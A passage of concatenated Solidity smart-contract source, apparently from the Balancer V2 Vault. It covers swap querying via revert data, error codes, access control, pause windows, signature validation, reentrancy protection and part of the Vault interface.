request.lastChangeBlock = Math.max(request.lastChangeBlock, balance.lastChangeBlock());
if (i == indexIn) {
tokenInBalance = balance;
} else if (i == indexOut) {
tokenOutBalance = balance;
}
}
// Perform the swap request callback and compute the new balances for 'token in' and 'token out' after the swap
amountCalculated = pool.onSwap(request, currentBalances, indexIn, indexOut);
(uint256 amountIn, uint256 amountOut) = _getAmounts(request.kind, request.amount, amountCalculated);
tokenInBalance = tokenInBalance.increaseCash(amountIn);
tokenOutBalance = tokenOutBalance.decreaseCash(amountOut);
// Because no tokens were registered or deregistered between now or when we retrieved the indexes for
// 'token in' and 'token out', we can use `unchecked_setAt` to save storage reads.
poolBalances.unchecked_setAt(indexIn, tokenInBalance);
poolBalances.unchecked_setAt(indexOut, tokenOutBalance);
}
// This function is not marked as `nonReentrant` because the underlying mechanism relies on reentrancy
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external override returns (int256[] memory) {
// In order to accurately 'simulate' swaps, this function actually does perform the swaps, including calling the
// Pool hooks and updating balances in storage. However, once it computes the final Vault Deltas, it
// reverts unconditionally, returning this array as the revert data.
//
// By wrapping this reverting call, we can decode the deltas 'returned' and return them as a normal Solidity
// function would. The only caveat is the function becomes non-view, but off-chain clients can still call it
// via eth_call to get the expected result.
//
// This technique was inspired by the work from the Gnosis team in the Gnosis Safe contract:
// https://github.com/gnosis/safe-contracts/blob/v1.2.0/contracts/GnosisSafe.sol#L265
//
// Most of this function is implemented using inline assembly, as the actual work it needs to do is not
// significant, and Solidity is not particularly well-suited to generate this behavior, resulting in a large
// amount of generated bytecode.
if (msg.sender != address(this)) {
// We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of
// the preceding if statement will be executed instead.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(msg.data);
// solhint-disable-next-line no-inline-assembly
assembly {
// This call should always revert to decode the actual asset deltas from the revert reason
switch success
case 0 {
// Note we are manually writing the memory slot 0. We can safely overwrite whatever is
// stored there as we take full control of the execution and then immediately return.
// We copy the first 4 bytes to check if it matches with the expected signature, otherwise
// there was another revert reason and we should forward it.
returndatacopy(0, 0, 0x04)
let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// If the first 4 bytes don't match with the expected signature, we forward the revert reason.
if eq(eq(error, 0xfa61cc1200000000000000000000000000000000000000000000000000000000), 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
// The returndata contains the signature, followed by the raw memory representation of an array:
// length + data. We need to return an ABI-encoded representation of this array.
// An ABI-encoded array contains an additional field when compared to its raw memory
// representation: an offset to the location of the length. The offset itself is 32 bytes long,
// so the smallest value we can use is 32 for the data to be located immediately after it.
mstore(0, 32)
// We now copy the raw memory array from returndata into memory. Since the offset takes up 32
// bytes, we start copying at address 0x20. We also get rid of the error signature, which takes
// the first four bytes of returndata.
let size := sub(returndatasize(), 0x04)
returndatacopy(0x20, 0x04, size)
// We finally return the ABI-encoded array, which has a total length equal to that of the array
// (returndata), plus the 32 bytes for the offset.
return(0, add(size, 32))
}
default {
// This call should always revert, but we fail nonetheless if that didn't happen
invalid()
}
}
} else {
int256[] memory deltas = _swapWithPools(swaps, assets, funds, kind);
// solhint-disable-next-line no-inline-assembly
assembly {
// We will return a raw representation of the array in memory, which is composed of a 32 byte length,
// followed by the 32 byte int256 values. Because revert expects a size in bytes, we multiply the array
// length (stored at `deltas`) by 32.
let size := mul(mload(deltas), 32)
// We send one extra value for the error signature "QueryError(int256[])" which is 0xfa61cc12.
// We store it in the previous slot to the `deltas` array. We know there will be at least one available
// slot due to how the memory scratch space works.
// We can safely overwrite whatever is stored in this slot as we will revert immediately after that.
mstore(sub(deltas, 0x20), 0x00000000000000000000000000000000000000000000000000000000fa61cc12)
let start := sub(deltas, 0x04)
// When copying from `deltas` into returndata, we copy an additional 36 bytes to also return the array's
// length and the error signature.
revert(start, add(size, 36))
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ITemporarilyPausable.sol";
/**
* @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be
* used as an emergency switch in case a security vulnerability or threat is identified.
*
* The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be
* unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets
* system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful
* analysis later determines there was a false alarm.
*
* If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional
* Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time
* to react to an emergency, even if the threat is discovered shortly before the Pause Window expires.
*
* Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is
* irreversible.
*/
abstract contract TemporarilyPausable is ITemporarilyPausable {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days;
uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days;
uint256 private immutable _pauseWindowEndTime;
uint256 private immutable _bufferPeriodEndTime;
bool private _paused;
constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) {
_require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION);
_require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION);
uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration;
_pauseWindowEndTime = pauseWindowEndTime;
_bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration;
}
/**
* @dev Reverts if the contract is paused.
*/
modifier whenNotPaused() {
_ensureNotPaused();
_;
}
/**
* @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer
* Period.
*/
function getPausedState()
external
view
override
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
)
{
paused = !_isNotPaused();
pauseWindowEndTime = _getPauseWindowEndTime();
bufferPeriodEndTime = _getBufferPeriodEndTime();
}
/**
* @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and
* unpaused until the end of the Buffer Period.
*
* Once the Buffer Period expires, this function reverts unconditionally.
*/
function _setPaused(bool paused) internal {
if (paused) {
_require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED);
} else {
_require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED);
}
_paused = paused;
emit PausedStateChanged(paused);
}
/**
* @dev Reverts if the contract is paused.
*/
function _ensureNotPaused() internal view {
_require(_isNotPaused(), Errors.PAUSED);
}
/**
* @dev Returns true if the contract is unpaused.
*
* Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no
* longer accessed.
*/
function _isNotPaused() internal view returns (bool) {
// After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access.
return block.timestamp > _getBufferPeriodEndTime() || !_paused;
}
// These getters lead to reduced bytecode size by inlining the immutable variables in a single place.
function _getPauseWindowEndTime() private view returns (uint256) {
return _pauseWindowEndTime;
}
function _getBufferPeriodEndTime() private view returns (uint256) {
return _bufferPeriodEndTime;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ISignaturesValidator.sol";
import "../openzeppelin/EIP712.sol";
/**
* @dev Utility for signing Solidity function calls.
*
* This contract relies on the fact that Solidity contracts can be called with extra calldata, and enables
* meta-transaction schemes by appending an EIP712 signature of the original calldata at the end.
*
* Derived contracts must implement the `_typeHash` function to map function selectors to EIP712 structs.
*/
abstract contract SignaturesValidator is ISignaturesValidator, EIP712 {
// The appended data consists of a deadline, plus the [v,r,s] signature. For simplicity, we use a full 256 bit slot
// for each of these values, even if 'v' is typically an 8 bit value.
uint256 internal constant _EXTRA_CALLDATA_LENGTH = 4 * 32;
// Replay attack prevention for each user.
mapping(address => uint256) internal _nextNonce;
constructor(string memory name) EIP712(name, "1") {
// solhint-disable-previous-line no-empty-blocks
}
function getDomainSeparator() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function getNextNonce(address user) external view override returns (uint256) {
return _nextNonce[user];
}
/**
* @dev Reverts with `errorCode` unless a valid signature for `user` was appended to the calldata.
*/
function _validateSignature(address user, uint256 errorCode) internal {
uint256 nextNonce = _nextNonce[user]++;
_require(_isSignatureValid(user, nextNonce), errorCode);
}
function _isSignatureValid(address user, uint256 nonce) private view returns (bool) {
uint256 deadline = _deadline();
// The deadline is timestamp-based: it should not be relied upon for sub-minute accuracy.
// solhint-disable-next-line not-rely-on-time
if (deadline < block.timestamp) {
return false;
}
bytes32 typeHash = _typeHash();
if (typeHash == bytes32(0)) {
// Prevent accidental signature validation for functions that don't have an associated type hash.
return false;
}
// All type hashes have this format: (bytes calldata, address sender, uint256 nonce, uint256 deadline).
bytes32 structHash = keccak256(abi.encode(typeHash, keccak256(_calldata()), msg.sender, nonce, deadline));
bytes32 digest = _hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = _signature();
address recoveredAddress = ecrecover(digest, v, r, s);
// ecrecover returns the zero address on recover failure, so we need to handle that explicitly.
return recoveredAddress != address(0) && recoveredAddress == user;
}
/**
* @dev Returns the EIP712 type hash for the current entry point function, which can be identified by its function
* selector (available as `msg.sig`).
*
* The type hash must conform to the following format:
* <name>(bytes calldata, address sender, uint256 nonce, uint256 deadline)
*
* If 0x00, all signatures will be considered invalid.
*/
function _typeHash() internal view virtual returns (bytes32);
/**
* @dev Extracts the signature deadline from extra calldata.
*
* This function returns bogus data if no signature is included.
*/
function _deadline() internal pure returns (uint256) {
// The deadline is the first extra argument at the end of the original calldata.
return uint256(_decodeExtraCalldataWord(0));
}
/**
* @dev Extracts the signature parameters from extra calldata.
*
* This function returns bogus data if no signature is included. This is not a security risk, as that data would not
* be considered a valid signature in the first place.
*/
function _signature()
internal
pure
returns (
uint8 v,
bytes32 r,
bytes32 s
)
{
// v, r and s are appended after the signature deadline, in that order.
v = uint8(uint256(_decodeExtraCalldataWord(0x20)));
r = _decodeExtraCalldataWord(0x40);
s = _decodeExtraCalldataWord(0x60);
}
/**
* @dev Returns the original calldata, without the extra bytes containing the signature.
*
* This function returns bogus data if no signature is included.
*/
function _calldata() internal pure returns (bytes memory result) {
result = msg.data; // A calldata to memory assignment results in memory allocation and copy of contents.
if (result.length > _EXTRA_CALLDATA_LENGTH) {
// solhint-disable-next-line no-inline-assembly
assembly {
// We simply overwrite the array length with the reduced one.
mstore(result, sub(calldatasize(), _EXTRA_CALLDATA_LENGTH))
}
}
}
/**
* @dev Returns a 256 bit word from 'extra' calldata, at some offset from the expected end of the original calldata.
*
* This function returns bogus data if no signature is included.
*/
function _decodeExtraCalldataWord(uint256 offset) private pure returns (bytes32 result) {
// solhint-disable-next-line no-inline-assembly
assembly {
result := calldataload(add(sub(calldatasize(), _EXTRA_CALLDATA_LENGTH), offset))
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
// Based on the ReentrancyGuard library from OpenZeppelin contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs but reduced bytecode size.
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "../../lib/openzeppelin/IERC20.sol";
import "./IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "../ProtocolFeesCollector.sol";
import "../../lib/helpers/ISignaturesValidator.sol";
import "../../lib/helpers/ITemporarilyPausable.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
